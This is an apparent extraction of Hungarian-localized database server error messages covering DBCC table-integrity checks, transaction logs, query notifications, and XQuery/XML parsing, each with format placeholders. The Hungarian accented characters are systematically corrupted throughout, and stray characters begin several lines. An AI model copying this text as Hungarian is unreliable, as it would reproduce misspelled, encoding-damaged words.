Tblahiba: A(z) %2!s! azonostj objektum (indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s!, tpus: %6!s!) %1!s! IAM-lapja csatolva van a(z) %7!s! azonostj objektum (indexazonost: %8!s!, partciazonost: %9!s!, foglalsi egysg azonostja: %10!s!, tpus: %11!s!) IAM-lncban a(z) %12!s! jelq lappal.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! jelq lapon (trolhely: %7!s!) levQ %8!s! oszlop nem rvnyes sszetett oszlop.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! jelq lapon (trolhely: %7!s!) levQ, %8!s! szvegazonostj, soron kvli adatcsompont nem felel meg a r mutat, a(z) %9!s! jelq lapon (trolhely: %10!s!) levQ hivatkozsnak.

(Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! jelq lapon (trolhely: %7!s!) levQ, %8!s! szvegazonostj, soron kvli adatcsompont helytelen %9!s! csomponttpus.

HTblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! jelq lapon (trolhely: %7!s!) levQ, %8!s! szvegazonostj, soron kvli adatcsompont tpusa %9!s!. Nem helyezhetQ %10!s! tpus lapra.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! jelq lapon (trolhely: %7!s!) levQ, %8!s! szvegazonostj, soron kvli adatcsompontra nincs hivatkozs.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! jelq lapon (trolhely: %7!s!) levQ, %8!s! szvegazonostj, soron kvli adatcsompontra hivatkozik a(z) %9!s! jelq lap (trolhely: %10!s!), de a csompont nem volt lthat a vizsglat sorn.

Nem lehet olvasni s zrolni a(z) %1!s! jelq lapot a(z) %2!s! zrolsi tpussal. A(z) %3!s! sikertelen.

BelsQ hiba trtnt a DBCC utastsokban, amely akadlyozza a tovbbi feldolgozst. Forduljon az gyfl-tmogatsi szolglathoz.

Tblahiba: A(z) %1!s! %2!s! jelq lap (objektumazonost: %3!s!, indexazonost: %4!s!, partciazonost: %5!s!, foglalsi egysg azonostja: %6!s!, tpus: %7!s!) az adatbzis tartomnyn kvl esik.

XTblahiba: IAM-lnccsatolsi hiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! IAM-lapnl a kvetkezQ lap a(z) %7!s! jelq, de a(z) %8!s! jelq lapnl az elQzQ lap hivatkozsa a kvetkezQre mutat: %9!s!.

$Sorhiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lapazonost: %6!s!, sorazonost: %7!s!. A(z)  %8!s!  oszlop NOT NULL megktssel lett ltrehozva, de NULL rtk szerepel a sorban.

tkzs az tirnytott sornl: A(z) %1!s! azonostj objektum (partciazonost: %2!s!, foglalsi egysg azonostja: %3!s! (tpus: %4!s!), %5!s! jelq lap, trolhely: %6!s!) tirnytott sorra mutat (%7!s! jelq lap, trolhely: %8!s!), de az tirnytott sor a(z) %9!s! jelq lapra (trolhely: %10!s!) mutat vissza.

Tbb sor hivatkozik az tirnytott sorra. A(z) %1!s! azonostj objektum (partciazonost: %2!s!, foglalsi egysg azonostja: %3!s! (tpus: %4!s!), %5!s! jelq lap, trolhely: %6!s!) helytelenl az tirnytott sorra mutat (%7!s! jelq lap, trolhely: %8!s!), amely helyesen hivatkozik vissza a(z) %9!s! jelq lapra (trolhely: %10!s!).

A(z) %1!s! azonostj objektum (indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s!, tpus: %5!s!) CHECKTABLE feldolgozsa ktszer tallta meg a(z) %6!s! jelq lapot (trolhely: %7!s!).

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! jelq lapon (trolhely: %7!s!) levQ, %8!s! szvegazonostj, soron kvli adatcsompontra mutat a(z) %9!s! jelq lap (trolhely: %10!s!) s a(z) %11!s! jelq lap (trolhely: %12!s!) is.

hTblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! jelq lap nem volt lthat a vizsglat sorn, br a szlQje (%7!s!) s az elQzQ, %8!s! jelq lap is hivatkozik r. EllenQrizze az esetleges korbbi hibkat.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A kvetkezQ lap szlQcsompontja nem tallhat: %6!s!.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! jelq laphoz hinyzik a hivatkozs az elQzQ, %7!s! jelq laprl. Esetleg helytelen a hivatkozslnc.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! jelq laphoz hinyzik a hivatkozs az (ismeretlen) szlQ- s az elQzQ (%7!s! jelq lap) csompontrl. Esetleg helytelen gykrbejegyzs szerepel a rendszerkatalgusban.

<Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). Az indexcsompont %6!s! jelq lapja (trolhely: %7!s!) a(z) %8!s! gyermeklapra s az elQzQ %9!s! gyermekre hivatkozik, de azok nem tallhatk.

hTblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %6!s! kvetkezQ elemet kijellQ mutatja a(z) %7!s! jelq lapra hivatkozik. Sem a(z) %8!s!, sem annak szlQje nem tallhat. Esetleg helytelen a hivatkozslnc.

dTblahiba: Objektumok kztti csatols: A(z) %1!s! jelq lap, amely a kvetkezQ a(z) %2!s! azonostj objektumban (indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s!, tpus: %6!s!) a(z) %7!s! jelq lapra hivatkozik a(z) %8!s! azonostj objektumban (indexazonost: %9!s!, partciazonost: %10!s!, foglalsi egysg azonostja: %11!s!, tpus: %12!s!), de nem ugyanabban az indexben tallhat.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!. Egy sornak a(z) %4!s! szm partcin kellene szerepelnie, de a(z) %5!s! szm partcin tallhat. Esetleg felesleges vagy rvnytelen kulcsok szerepelnek a kvetkezQnl:

A(z)  %2!s!  adatbzis  %1!s!  fjlja nem tallhat a sys.database_files katalgusnzetben. A fjl nem ltezik vagy el lett dobva. 

hTl sok (%1!s!) hiba tallhat a(z) %2!s! objektumazonostnl. Az sszes hibazenet megtekintshez futtassa jbl az utastst a  WITH ALL_ERRORMSGS  utasts hasznlatval.

|Nem rhetQ el sg a kvetkezQ DBCC-utastshoz:  %1!s! .

hA sor (%1!s!:%2!s!:%3!s!) azonostja: (%4!s!).

A kvetkezQ tartomny nem rvnyes cmtartomny: 0x%1!s! 0x%2!s!.

|%1!s! katalgus-ellenQrzsi mqvelet, %2!s! llapot: %3!s!

A(z) %1!s! azonostj objektum, amely tirnytja a(z) %2!s! lapon levQ sort (trolhely: %3!s!) a(z) %4!s! jelq lapra (trolhely: %5!s!) mutat. Az tirnytott sor nem szlelhetQ. Lehetsges, hogy foglalsi hiba trtnt.

A(z) %4!s! lapon levQ tirnyt sornak (trolhely: %5!s!) a(z) %1!s! azonostj objektumra kellene mutatnia, amely tirnytotta a(z) %2!s! lapon levQ sort (trolhely: %3!s!). Az tirnyt sor nem szlelhetQ. Lehetsges, hogy foglalsi hiba trtnt.

`A(z)  %1!s!  rendszertbla (%2!s! objektumazonost, %3!s! indexazonost) a(z) %4!s! fjlcsoportban van. Az sszes rendszertblnak a(z) %5!s! fjlcsoportban kell lennie.

(A(z) %2!s! azonostj objektumhoz (indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s!, tpus: %6!s!) tartoz %1!s! IAM-lap a(z) %7!s! fjlcsoportban levQ lapokat vezrli, de ezeknek a lapoknak a(z) %8!s! fjlcsoportban kellene lennik.

l%1!s! Service Broker-zenet, %2!s! llapot: %3!s!

A GAM-, az SGAM- vagy a PFS-lapon tallhat hibk akadlyozzk a foglalsi integrits ellenQrzst a(z) %1!s! azonostj adatbzisban levQ %2!s! %3!s! jelq lapon. A hiba okt a tovbbi hibazenetekben tallja.

A(z)  %1!s!  adatbzishoz tartoz napl nem rhetQ el. A kapcsold hibazenetek megkeresshez ellenQrizze az esemnynaplt. Oldja meg az esetleges hibkat, majd indtsa jra az adatbzist.

A(z)  %1!s!  adatbzis tranzakcinaplja megtelt, ennek oka:  %2!s! . 

DA(z)  %2!s!  adatbzisban vgzendQ naplbeolvasshoz tadott %1!s! naplbeolvassi szm rvnytelen. Ez a hiba arra utalhat, hogy megsrltek az adatok, vagy arra, hogy a naplfjl (.ldf) nem felel meg az adatfjlnak (.mdf). Ha ez a hiba replikls kzben fordult elQ, hozza ltre jbl a kiadvnyt. EllenkezQ esetben hajtson vgre visszalltst a biztonsgi msolatbl, ha a problma hibt okoz indts kzben.

Hiba trtnt a(z)  %1!s!  adatbzis napljnak feldolgozsa kzben. Ha lehetsges, hajtson vgre visszalltst biztonsgi msolatbl. Ha nincs biztonsgi msolat, lehet, hogy jbl ltre kell hozni a naplt.

Az OpenRowset(DBLog, ...) utastsban megadott kezdQ naplsorszm vagy zr naplsorszm rvnytelen.

A felhasznlnak nincs engedlye a DBLog virtulis tbla lekrdezsre. Ezzel az engedllyel csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr s a db_owner rgztett adatbzis-szerepkr tagjai rendelkeznek.

A felhasznlnak nincs engedlye a biztonsgimsolat-fjlok lekrdezsre a DBLog virtulis tbla hasznlatval. Ezzel az engedllyel csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr tagjai rendelkeznek.

|Hiba trtnt a(z)  %1!s!  adatbzis napljnak feldolgozsa kzben. A naplblokk %2!s! verzija nem tmogatott. Ez a kiszolgl a(z) %3!s! s %4!s! kztti verzij naplkat tmogatja.

|A(z) %1!s! naplsorszmnl tallhat naplrekord srlt. 

Hiba trtnt a(z)  %1!s!  adatbzis napljnak feldolgozsa kzben. Nem sikerlt a naplblokk visszafejtse.

A(z)  %1!s!  adatbzishoz tartoz napl nem engedlyezi a felhasznli rsi mqveleteket. 

hA(z)  %3!s!  fjlban 0x%2!s! bjtos eltolsnl levQ 0x%1!s! virtulis naplfjlsorozat aktv, s nem rhat fell a kvetkezQ adatbzishoz tartoz 0x%4!s! sorozattal:  %5!s! .

A(z)  %1!s!  adatbzishoz tartoz napl nem nvekedett a zsugorts sorn. Prblja meg jbl.

Nem fogadhat el a(z)  %2!s!  adatbzishoz tartoz 0x%1!s! virtulis naplfjlsorozat, mert a kvetkezQ fjl mg nem ltezik: %3!s!.

A napl nem inicializlhat, mert a naplfjlok nincsenek teljesen megformzva.

DA kvetkezQ adatbzishoz tartoz napl nem tmrthetQ mindaddig, amg az sszes msodlagos adatbzis tl nem jutott a napl hozzadsnak pontjn:  %1!s! .

Lehetsges, hogy megsrlt az index. Futtassa a DBCC CHECKDB utastst.

Hautomatikus belsQ statisztikk

Hautomatikus belsQ statisztikk

`A megadott statisztikai adatfolyam srlt.

A hisztogramtmogats nem engedlyezett a kvetkezQ bemeneti adattpusnl: 0x%1!s!.

PA kvetkezQ nv rvnytelen:  %1!s! . A  _readonly_database_statistic  uttag fenn van tartva. Vlasszon msik nevet, amely nem tartalmazza a fenntartott uttagot.

xA lekrdezsrtests elQfizetsi zenete rvnytelen.

A lekrdezsrtestsi elQfizets idQtllpse rvnytelen. Az engedlyezett tartomny: 1 2147483647.

A(z)  %1!s!  felhasznlnak nincs engedlye lekrdezsrtestsi elQfizetseket krni a(z)  %2!s!  adatbzisban.

A(z)  %1!s!  lekrdezsrtestsi elQfizets nem trlhetQ, mert nem ltezik vagy mr lejrt.

A lekrdezsrtestsi elQfizets nem tudta megszerezni a prbeszd vgpontjt. Nem sikerlt megnyitni a Service Broker sszetevQ prbeszdjt az sszetevQ  %2!s!  pldnynak  %1!s!  nevq szolgltatsnl.

A lekrdezsrtestsi elQfizets nem tudta elkezdeni a prbeszdet a Service Broker  %2!s!  pldnynak  %1!s!  nevq szolgltatsval.

A lekrdezsrtests kzbestse kzben nem sikerlt dekdolni a Service Broker hibazenett.

A lekrdezsrtests kzbestse kzben nem sikerlt kdolni az zenetet. Nem sikerlt a kvetkezQ rtests kzbestse:  %1!s! .

A lekrdezsrtestsek elrtk az objektumok maximlis szmra vonatkoz belsQ hatrrtket.

Nem sikerlt a lekrdezsrtestsi elQfizetsek trlsnek mqvelete. A rszleteket az elQzQ hibazenetek tartalmazzk.

0A belsQ lekrdezsrtestsi tbla smja elavult, s a tbla el lett dobva. A lekrdezsrtestsek trlse nem lett vgrehajtva ennl a tblnl.

Az rtestsi belltsok azonost karakterlnca %1!s! karakterbQl ll. Az engedlyezett maximlis hosszsg %2!s! karakter.

pAz rtestsi belltsok azonostjban tallhat karakteres rtk tl hossz. A(z)  %1!s!  elQtagban lvQ karakterlnc csak %2!s! karakter hosszsg vagy ennl rvidebb lehet.

Befejezetlen idzQjelpr az rtestsi belltsok azonost karakterlncban.

A rendszer nevet vr az rtestsi belltsok azonostjban.

Az ismeretlen  %1!s!  belltsnv tallhat az rtestsi belltsok azonostjban. Az rvnyes belltsnevek a kvetkezQk:  Service ,  Broker Instance ,  Local Database . A belltsnevek nem szerepelhetnek idzQjelek kztt.

A(z)  %1!s!  bellts tbbszr van megadva az rtestsi belltsok azonostjban.

A rendszer egyenlQsgjelet (=) vrt a belltsnv utn, de a kvetkezQt tallta:  %1!s! .

HPontosvesszQt (;) kell hasznlni az rtestsi belltsok azonostjban a belltsok elvlasztsra. A(z)  %1!s!  karakterlnc szerepel egy bellts utn.

A  Service  belltst kell megadni az rtestsi belltsok azonostjban.

A  Broker Instance  s a  Local Database  bellts egyarnt meg van adva az rtestsi belltsok azonostjban.

Hinyzik a(z)  %1!s!  bellts rtke az rtestsi belltsok azonostjban.

pA(z) %1!s! adatbzis nem rvnyes helyi adatbzis.

A(z) %1!s! adatbzis nem rvnyes tvitelszervezQ adatbzis.

LA lekrdezsrtestsi elQfizetsek nem engedlyezettek aktv alkalmazs-szerepkr esetn. Kldje el jbl a krelmet az alkalmazs-szerepkr aktivlsa nlkl.

BelsQ lekrdezsrtestsi hiba: A szemtgyqjtQ kijavtott egy inkonzisztencit.

xA Service Broker  %1!s!  beszlgetse nem zrhat be, mert a(z)  %2!s!  azonostj adatbzis nem rhetQ el. Zrja be kzzel a prbeszdeket, amikor az adatbzis jbl elrhetQ lesz.

A lekrdezsrtestsek trlsi mqvelete nem tudott hozzfrni a(z)  %1!s!  adatbzis metaadataihoz. EllenQrizze, hogy sikerlt-e az adatbzis visszalltsa, s online llapotban van-e.

Az utols idQintervallum alatt %1!s! lekrdezsrtests lett figyelmen kvl hagyva.

%1!s!A kiszolgl jelen verzijban az  fn:id()  fggvny csak  IDREF *  tpus argumentumot fogad el.

%1!s!A kiszolgl jelen verzijban a  cast as <tpus>%2!s!  nem rhetQ el. Hasznlja a  cast as <tpus> ?  szintaxist.

%1!s!A krnyezeti elemnek, amelyben az  fn:id()  fggvnyt hasznlja, csompontnak kell lennie.

%1!s!Szintaktikai hiba a(z)  %2!s!  kzelben. A rendszer a kvetkezQt vrta:  %3!s! .

%1!s!A kiszolgl jelen verzija csak az XQuery 1.0-s verzijt tmogatja.

%1!s!Az  instance of  utasts cljban csak olyan tpusnevek hasznlhatk, amelyek utn  ?  szerepel.

%1!s!A  replace value of  utasts clja nem lehet egyestsi tpus. A tallt tpus:  %2!s! .

l%1!s!A(z)  %2!s!  argumentuma csak egyetlen egyszerq numerikus tpus vagy a  http://www.w3.org/2004/07/xpath-datatypes#untypedAtomic  lehet. A tallt argumentum tpusa:  %3!s! .

,%1!s!A  replace value of  utasts clja nem lehet a  http://www.w3.org/2001/XMLSchema#anySimpleType . A rendszer a kvetkezQt tallta:  %2!s! .

%1!s!A  replace value of  utasts  with  zradka nem tartalmazhat ltrehozott XML-t.

%1!s!Heterogn sorozatok nem engedlyezettek a(z)  %2!s!  esetben. A rendszer a kvetkezQt tallta:  %3!s!  s  %4!s! .

<%1!s!A(z)  %2!s!  nem tmogatott az egyszerq tpus vagy a  http://www.w3.org/2001/XMLSchema#anyType  elemeknl. A rendszer a kvetkezQ tallta:  %3!s! .

@%1!s!A kiszolgl jelen verzija nem tmogatja tbb kifejezs vagy karakterlncokkal egytt hasznlt kifejezsek megadst az attribtumok konstruktorban.

%1!s!Nem lehet implicit mdon rszekre bontani vagy alkalmazni az  fn:data()  fggvnyt az sszetett tartalmi elemekre. A rendszer a(z)  %2!s!  tpust tallta a kvetkeztetett  %3!s!  tpusban.

%1!s!Csak lland kifejezsek hasznlhatk a szmtott elemek s attribtumok konstruktornak nvkifejezseknt.

%1!s!Az  xmlns  nem hasznlhat a szmtott attribtum konstruktornak nvkifejezsben.

%1!s!Szintaktikai hiba a(z)  %2!s!  kzelben, a rendszer szveges karakterlncot vrt.

%1!s!Szintaktikai hiba a(z)  0x%2!s!  forrskarakternl a(z)  %3!s!  kzelben, a rendszer szveges karakterlncot vrt.

%1!s!Statikus egyszerq tpus rvnyestse: Az egyszerq tpus  %2!s!  rtk rvnytelen.

%1!s!A  parent  tengelynek a dokumentum-csompontra val alkalmazsnak eredmnye statikusan  empty .

%1!s!A  parent::%2!s!  alkalmazsnak eredmnye statikusan  empty .

(%1!s!Kt egymst kvetQ  -  karakter csak akkor szerepelhet a megjegyzs konstruktorban, ha ezek a karakterek lezrjk a megjegyzst ( --> ).

%1!s!A kiszolgl jelen verzijban nem hasznlhat  :  karakter a vltoznevekben.

`%1!s!A rendszer  }  karaktert tallt a megfelelQ  {  karakter nlkl. Ha a  {  vagy a  }  karaktert kvnja hasznlni, a kvetkezQ formban kell megadnia:  {{  vagy  }} .

%1!s!A szmtott feldolgozsi utastsi konstruktorok nem tmogatottak.

%1!s!A szmtott megjegyzsi konstruktorok nem tmogatottak.

%1!s!A fejrsz minden bejegyzsnek  ;  karakterrel kell vgzQdnie. A rendszer a kvetkezQt tallta:  %2!s! .

%1!s!A rendszer tpusspecifikcit vrt, de a kvetkezQt tallta:  %2!s! .

%1!s!Csak sszehasonlthat tpusok engedlyezettek a kvetkezQnl:  %2!s! . A rendszer a kvetkezQt tallta:  %3!s! .

%1!s!Szintaktikai hiba a(z)  %2!s!  kzelben. A rendszer a kvetkezQt vrta:  %3!s!  vagy  %4!s! .

%1!s!Szintaktikai hiba a(z)  %2!s!  kzelben. A rendszer a kvetkezQt vrta:  where ,  (stable) order by  vagy  return .

%1!s!A  self , a  parent  s a  descendant-or-self  tengely elQtt nem szerepelhet  // , ha egyszerq tpus vagy  http://www.w3.org/2001/XMLSchema#anyType  elem van megadva. A rendszer a kvetkezQt tallta:  %2!s! .

%1!s!A  form  attribtum nem adhat meg helyi attribtumban vagy elemdefinciban, amely a  ref  attribtumot tartalmazza. Hely:  %2!s! .

p%1!s!A(z)  %2!s!  XQuery-szintaxis nem tmogatott.

p%1!s!A(z)  %2!s!  XML-smaszintaxis nem tmogatott.

h%1!s!A  NOTATION  XML-smatpus nem tmogatott.

(%1!s!A nvtr-deklarcis attribtumok rtknek szveges karakterlncnak kell lennie. Az ilyen attribtumok nem tartalmazhatnak kifejezseket.

%1!s!A  form  attribtum nem adhat meg globlis attribtumban vagy elemdefinciban. Hely:  %2!s! .

%1!s!Az aktulis clnvtr explicit importlsa rvnytelen. Az aktulis clnvtrben lvQ, a smagyqjtemnybe mr betlttt elemekre vonatkoz hivatkozsok feloldsa implicit mdon fog trtnni.

%1!s!Szintaktikai hiba a(z)  %2!s!  kzelben, a rendszer lptetQ kifejezst vrt.

%1!s!Az XML-pldnyok csak az sql:column/sql:variable fggvnnyel vgzett beszrs kzvetlen forrsaknt tmogatottak.

4%1!s!Az sql:column() s az sql:variable() fggvny ltal hivatkozott XML-pldnynak nem tpusos XML-nek kell lennie, vagy a tpust annak az XML-smagyqjtemnynek kell megadnia, amely annak a krnyezeti XML-pldnynak adott tpust, amelyre az XML-metdus alkalmazsa trtnik.

%1!s!A(z)  %2!s!  SQL-tpus nem tmogatott az sql:column() s az sql:variable() fggvny esetben.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a bevitel nem vrt mdon befejezQdtt.

XML-elemzs: %1!s!. sor, %2!s!. karakter: ismeretlen kdols.

XML-elemzs: %1!s!. sor, %2!s!. karakter: nem lehet tvltani a kdolst.

XML-elemzs: %1!s!. sor, %2!s!. karakter: ismeretlen bemeneti alrs.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer szkzt vrt.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer pontosvesszQt vrt.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer  >  karaktert vrt.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer szveges karakterlncot vrt.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer egyenlQsgjelet vrt.

XML-elemzs: %1!s!. sor, %2!s!. karakter, helyes formtum ellenQrzse: nincs  <  karakter az attribtumrtkben.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer hexadecimlis szmjegyet vrt.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer decimlis szmjegyet vrt.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer  [  karaktert vrt.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer  (  karaktert vrt.

XML-elemzs: %1!s!. sor, %2!s!. karakter: rvnytelen xml-karakter.

XML-elemzs: %1!s!. sor, %2!s!. karakter: rvnytelen nvkarakter.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a dokumentum szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a CDATA szakasz szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a megjegyzs szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a feltteles szakasz szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: az ATTLIST deklarci szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a DOCTYPE deklarci szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: az ELEMENT deklarci szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: az ENTITY deklarci szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a NOTATION deklarci szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer az NDATA kulcsszt vrta.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer a PUBLIC kulcsszt vrta.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer a SYSTEM kulcsszt vrta.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer nevet vrt.

|XML-elemzs: %1!s!. sor, %2!s!. karakter: egy gykrelem.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a zr cmke nem felel meg a nyit cmknek.

XML-elemzs: %1!s!. sor, %2!s!. karakter: ismtlQdQ attribtum.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a text/xmldecl nem a megadott karakterlnc elejn szerepel.

XML-elemzs: %1!s!. sor, %2!s!. karakter: az  xml  kezdetq nvterek foglaltak.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a szveges deklarci szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: az xml deklarci szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a kdolsnv szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a nyilvnos azonost szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter, helyes formtum ellenQrzse: paramterentitsok a belsQ alkszletben.

XML-elemzs: %1!s!. sor, %2!s!. karakter, helyes formtum ellenQrzse: paramterentitsok a deklarcik kztt.

XML-elemzs: %1!s!. sor, %2!s!. karakter, helyes formtum ellenQrzse: nincs rekurzi.

XML-elemzs: %1!s!. sor, %2!s!. karakter: az entits tartalma helytelenl van formzva.

XML-elemzs: %1!s!. sor, %2!s!. karakter, helyes formtum ellenQrzse: nem deklarlt entits.

XML-elemzs: %1!s!. sor, %2!s!. karakter, helyes formtum ellenQrzse: elemzett entits.

XML-elemzs: %1!s!. sor, %2!s!. karakter, helyes formtum ellenQrzse: nincsenek klsQ entitshivatkozsok.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a feldolgozsi utasts szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszerazonost szintaxisa helytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: a rendszer  ?  karaktert vrt.

XML-elemzs: %1!s!. sor, %2!s!. karakter: nincs  ]]>  karakter az elemtartalomban.

XML-elemzs: %1!s!. sor, %2!s!. karakter: rvnytelen karakter a minQstett nvben.

XML-elemzs: %1!s!. sor, %2!s!. karakter: tbb kettQspont a minQstett nvben.

XML-elemzs: %1!s!. sor, %2!s!. karakter: kettQspont a nvben.

XML-elemzs: %1!s!. sor, %2!s!. karakter: jbl deklarlt elQtag.

XML-elemzs: %1!s!. sor, %2!s!. karakter: nem deklarlt elQtag.

XML-elemzs: %1!s!. sor, %2!s!. karakter: nem alaprtelmezett nvtr res URI-azonostval.

$A(z)  %2!s!  kezdetq XML %1!s! %3!s! karakter hosszsg, ami meghaladja a hatrrtket. Az engedlyezett maximlis hosszsg %4!s! karakter.

XML-elemzs: %1!s!. sor, %2!s!. karakter: nem sikerlt az rtk sszes adatrszletnek olvassa.

XML-elemzs: %1!s!. sor, %2!s!. karakter: az xml:space rtke rvnytelen.

XML-elemzs: %1!s!. sor, %2!s!. karakter: az  xml  XML-nvtrelQtag csak a http://www.w3.org/XML/1998/namespace URI-azonosthoz rendelhetQ hozz. Ez az URI-azonost nem hasznlhat ms elQtagokkal.

XML-elemzs: %1!s!. sor, %2!s!. karakter: az  xmlns  XML-nvtrelQtag az XML ltali hasznlatra van lefoglalva.

$XML-elemzs: %1!s!. sor, %2!s!. karakter: az xml nvtr-URI (http://www.w3.org/XML/1998/namespace) csak az  xml  elQtaghoz rendelhetQ hozz.

XML-elemzs: %1!s!. sor, %2!s!. karakter: az xmlns nvtr-URI (http://www.w3.org/2000/xmlns/) foglalt, nem hasznlhat.

XML-elemzs: %1!s!. sor, %2!s!. karakter: nem tmogatott xml.

A VALUE metdusban hasznlt  %1!s!  adattpus rvnytelen.

XQuery: Nem lehet feloldani az sql:variable( %1!s! ) fggvnyt. A vltozt skalris TSQL-vltozknt kell deklarlni.

A(z)  %2!s!  metdus %1!s! argumentumhoz megadott szveges karakterlnc nem haladhatja meg a(z) %3!s! bjtot.

`Hibk s/vagy figyelmeztetsek fordultak elQ az XML-adattpus  %1!s!  metdus XQuery utastsnak feldolgozsa kzben. Tovbbi rszleteket az elQzQ hibazenetekben tall.

Hibk s/vagy figyelmeztetsek fordultak elQ a(z)  %3!s!  tbla  %2!s!  oszlopban meghvott, XML-adattpus  %1!s!  metdus XQuery utastsnak feldolgozsa kzben. Tovbbi rszleteket az elQzQ hibazenetekben tall.

A(z)  %1!s!  XMLDT metdus csak XML-tpus oszlopokban hvhat meg.

(A lekrdezsben hasznlt, tvoli oszlophoz megadott, XML-adattpus metdus nem hajthat vgre helyben vagy tvolrl. Mdostsa a lekrdezst.

A(z)  %1!s!  XMLDT metdusnak megadott hivatkozsi paramter nem abbl az XML-pldnybl lett elQlltva, amelyre alkalmazva van.

Az XMLUNNEST tpusos xml-oszlopot ignyel egyetlen globlis elemmel.

Ez a funkci mg nincs megvalstva: az XMLNODEREFS nem hasznlhat nzetek ltal megjelentett hivatkozsokat.

Az XML-adattpusok nem tmogatottak tvoli hvsok paramtereknt.

PHiba trtnt az XML-adattpus  %1!s!  metdus feldolgozsa kzben. Nincsenek megadva az XML-adattpus metdusok ltal ignyelt kvetkezQ SET kapcsolk:  %2!s! .

Az XML-adattpusok nem tmogatottak az elosztott lekrdezsekben. A tvoli  %1!s!  objektum XML-oszlopokat tartalmaz.

Egy XML-sma meg lett vltoztatva vagy el lett dobva, s a lekrdezsterv mr nem rvnyes. Futtassa jbl a lekrdezskteget.

XQuery: A(z) %1!s!( %2!s! ) fggvnynek megadott nv res vagy a tbb rszbQl ll nv egyik rsze res. res nevek nem hasznlhatk objektumok, oszlopok vagy vltozk azonostsra az SQL nyelvben.

XQuery: A kvetkezQ fggvnynek tadott nv, illetve tbbrszes nv  %1!s!  kezdetq rsze nem rvnyes SQL rendszerbeli azonost, mert tl hossz: %2!s!(). A maximlis hossz %3!s!, a tnyleges hossz %4!s!.

